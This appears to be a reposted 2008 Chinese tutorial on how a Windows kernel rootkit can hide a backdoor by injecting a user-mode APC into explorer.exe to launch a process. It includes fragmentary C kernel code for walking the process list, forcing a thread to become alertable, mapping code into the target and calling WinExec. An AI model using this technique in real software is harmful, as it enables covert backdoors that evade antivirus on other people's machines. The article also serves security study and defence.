WEB开发网
开发学院网络安全安全技术 浅谈Rootkit如何在内核模式实现后门隐藏 阅读

浅谈Rootkit如何在内核模式实现后门隐藏

 2008-11-11 13:31:12 来源:WEB开发网   
核心提示:很多人对Rootkit感兴趣,Rootkit技术已经用于很多流氓软件中,浅谈Rootkit如何在内核模式实现后门隐藏,杀毒软件开始重视Rootkit,很多Rootkit所做的主要工作是在内核态做手脚来隐藏攻击者的后门,推荐大家去看看《Rootkit - Subverting the Windows》这本书,虽然那讲得很

很多人对Rootkit感兴趣,Rootkit技术已经用于很多流氓软件中,杀毒软件开始重视Rootkit。很多Rootkit所做的主要工作是在内核态做手脚来隐藏攻击者的后门。那么相应就有很多检测工具来检测隐藏的进程与线程。

有没有办法在Rootkit的内核模块里就实现一个完整的后门,提供一个CMD出来呢?这样就免去了隐藏进程所带来的风险。

NT Rootkit试图这么做过,不知道什么原因这个功能并没有开发完成。这涉及到一个问题,如何从内核态来执行用户态代码。

关于这个话题有人很早就已经研究了,但是目前还没有成熟的、公开源码的后门使用这样的技术。也许觉得这很神秘?其实不然。Rootkit.com上的valerino就提到过用APC的方法来CreateProcess。

如果对Windows操作系统有深入的了解,那么很快你可以想到一个函数:KeUserModeCallback;如果你对linux也比较了解,你会知道一个宏:move_to_user_mode。他们两个实质都是使用中断返回的方式执行到了用户态代码。

但这会带来一些问题,他们都只能让你的代码运行在当前线程,以及如何触发他们?

你也许会想到Windows的APC,它可以让代码运行在一个你任意制定的线程环境中。然而APC常常为系统所用(比如I/O Manager),通常的开发人员是不会去接触这个东西,所以相应的文档资料就少得可怜。

APC(Asynchronous Procedure Call) --- 异步过程调用

APC的精确定义我不太明确,通过它的行为,可以这样理解:将一个内核过程插入到一个线程队列等待执行,相当于强行插入到特定线程上下文中去执行的一段代码。

系统中存在三种APC:

普通内核APC:它们可以插入内核线程,它们在那个内核线程没有执行其他APC的时候执行。

特定内核APC:基本上和上面的一样。但它们运行在APC_LEVEL中断级,而且不能被阻塞,除非它们运行在更高的中断级。它们可抢占普通内核APC的执行。

用户态APC:这种APC只能插入到一个用户线程中,这个线程必须事先调用一个等待函数比如WaitForSingleObject而且将Alertable置为TRUE。下一次线程从内核返回的时候,这个APC就得以执行。这就是我们要利用的APC了。

创建进程

我们创建进程的思路如下:

1.遍历系统进程列表,找到explore.exe。explore.exe是桌面交互进程,一般来说Windows里面都存在,而且它里面处于Wait状态的线程很多(可以用sysinternals的工具ProcessExplorer查看进程中的线程信息,当然线程有alertable的也有non-alertable的,后面将在代码看到他们如何处理)。explore.exe就是我们插入APC的良好宿主。

2.一旦我们找到了explore.exe,我们需要在里面找到一个alertable的线程。如果找不到,我们就将代码指针保存在一个non-alertable的线程中,将它ApcState.UserApcPending设置为TRUE,这样就将此线程设置为alertable的了。

3.我们事先得到explore进程的Eprocess指针,还有它其中一个线程的Ethread指针。接下来我们就将我们的APC对象(包含我们要在用户态执行的代码)插入线程的APC队列,然后在它执行完的时候,我们释放为这个APC分配的内存资源。

而我所指的"我们要在用户态执行的代码",就是在用户态创建一个特定的进程。APC被执行的时,这个用户态进程就被创建了。

要在用户态执行的代码为RunProcess(LPSTR lpProcess),其中lpProcess参数就是要创建的进程EXE文件所在的绝对路径。

   voidRunProcess(LPSTRlpProcess)

  {

  PEPROCESSpTargetProcess=NULL;

  PKTHREADpTargetThread=NULL;

  PKTHREADpNotAlertableThread=NULL;

  PEPROCESSpSystemProcess=NULL;

  PETHREADpTempThread=NULL;

  PLIST_ENTRYpNextEntry,pListHead,pThNextEntry;

  //...

  }

首先我们获得"System"进程的Eprocess指针。

   pSystemProcess=PsGetCurrentProcess();

  //运行在PASSIVE_LEVEL中断级

pSystemProcess->ActiveProcessLinks是一个LIST_ENTRY 结构,这个链表里面含有指向其他活动进程Eprocess的指针(我们通常所说的"活动进程链表")。我们可以在里面获得explore.exe进程的Eprocess以及它里面的一个线程Ethread。(理论上可以用任何进程,但实际情况,插入APC很可能让CSRSS,SVCHOST进程Crash)。找到目标后,我们就可以插入我们的APC了

   if(!pTargetThread)

  {

  //没有找到alertable线程,那么找一个non-alertable的

  pTargetThread=pNotAlertableThread;

  }

  if(pTargetThread)

  {

  DbgPrint("KernelExec->Targetedthread:0x%p",

  pTargetThread);

  //得到了目标线程,插入APC

  InstallUserModeApc(lpProcess,

  pTargetThread,

  pTargetProcess);

  }

  InstallUserModeApc原型:

  CODENTSTATUS

  InstallUserModeApc(

  INLPSTRlpProcess,

  INPKTHREADpTargetThread,

  INPEPROCESSpTargetProcess);

其中pTargetProcess是目标进程explore.exe的Eprocess指针,pTargetThread是我们的APC即将插入的线程KTHREAD指针。接着我们就为APC和映射我们代码的内存描述表(MDL)分配内存:

   PRKAPCpApc=NULL;

  PMDLpMdl=NULL;

  ULONGdwSize=0;//我们要执行的代码尺寸

  pApc=ExAllocatePool(NonPagedPool,sizeof(KAPC));

  dwSize=(unsignedchar*)ApcCreateProcessEnd-

  (unsignedchar*)ApcCreateProcess;

  pMdl=IoAllocateMdl(ApcCreateProcess,dwSize,FALSE,FALSE,NULL);

  //查找可写内存页面,并将其Lock,不会产生页交换.

  MmProbeAndLockPages(pMdl,KernelMode,IoWriteAccess);

这样我的APC就准备好了,pMdl驻留在内存中,映射到我们的用户态代码(就是ApcCreateProcess()。如果Explore.exe没有访问内核区域的权限,它怎么能调用我们的APC例程呢?

   KAPC_STATEApcState;

  //附着到Explore.exe的进程空间

  KeStackAttachProcess(&(pTargetProcess->Pcb),&ApcState);

  //将我们的代码物理页面映射到进程空间

  pMappedAddress=

  MmMapLockedPagesSpecifyCache(pMdl,

  UserMode,

  MmCached,

  NULL,FALSE,

  NormalPagePriority);

我们来看看我们的APC代码,它将映射到Explorer的进程地址空间。

将WinExec函数的地址装载入EAX寄存器,(0x7C86136D是在WinXp SP2上取得的地址),我们将参数2(SW_SHOWNORMAL)压入堆栈,然后0xabcd,然后call。0xabcd是WinExec()的第一个参数,它指向WinExec执行的程序。

因为WinExec不能访问那个地址,它将导致一个内存访问异常。不能从用户态访问一个内核地址。那么,在我们映射我们的代码到用户态地址中以后,我们就将这个lpProcess地址copy到第一个nop指令后面。以下是这些动作的代码:

   ULONG*data_addr=0;//用来存贮我们ApcCreateProcess例程中push指令后面的地址

  ULONGdwMappedAddress=0;

  pMappedAddress=

  MmMapLockedPagesSpecifyCache(pMdl,

  UserMode,

  MmCached,

  NULL,FALSE,

  NormalPagePriority);

  dwMappedAddress=(ULONG)pMappedAddress;

  //腾位置,清零.

  memset((unsignedchar*)pMappedAddress+0x14,0,300);

  //CopylpProcess,即我们要执行的exe文件地址的字符串,到映射的内存空间

  memcpy((unsignedchar*)pMappedAddress+0x14,

  lpProcess,

  strlen(lpProcess));

  data_addr=(ULONG*)((char*)pMappedAddress+0x9);//(参数0xabcd原来的位置)

  *data_addr=dwMappedAddress+0x14;//指向我们的想要执行的exe路径字符串.

  //完成,,Attach后记得Detach.

  KeUnstackDetachProcess(&ApcState);

现在要做的就只是初始化我们的APC然后插入目标线程。

   //初始化APC

  KeInitializeApc(pApc,

  pTargetThread,

  OriginalApcEnvironment,

  &ApcKernelRoutine,

  NULL,

  pMappedAddress,

  UserMode,

  NULL);

  //插入APC队列

  KeInsertQueueApc(pApc,0,NULL,0);

  //若是non-alertable线程

  if(!pTargetThread->ApcState.UserApcPending)

  {

  //置为alertable

  pTargetThread->ApcState.UserApcPending=TRUE;

  }

  returnSTATUS_SUCCESS;

  }

东西很多,讲得有些杂。推荐大家去看看《Rootkit - Subverting the Windows》这本书。虽然那讲得很多东西有些过时,但是作为一个对Rootkit的基本了解还是很有帮助。

Tags:Rootkit 如何 内核

编辑录入:爽爽 [复制链接] [打 印]
赞助商链接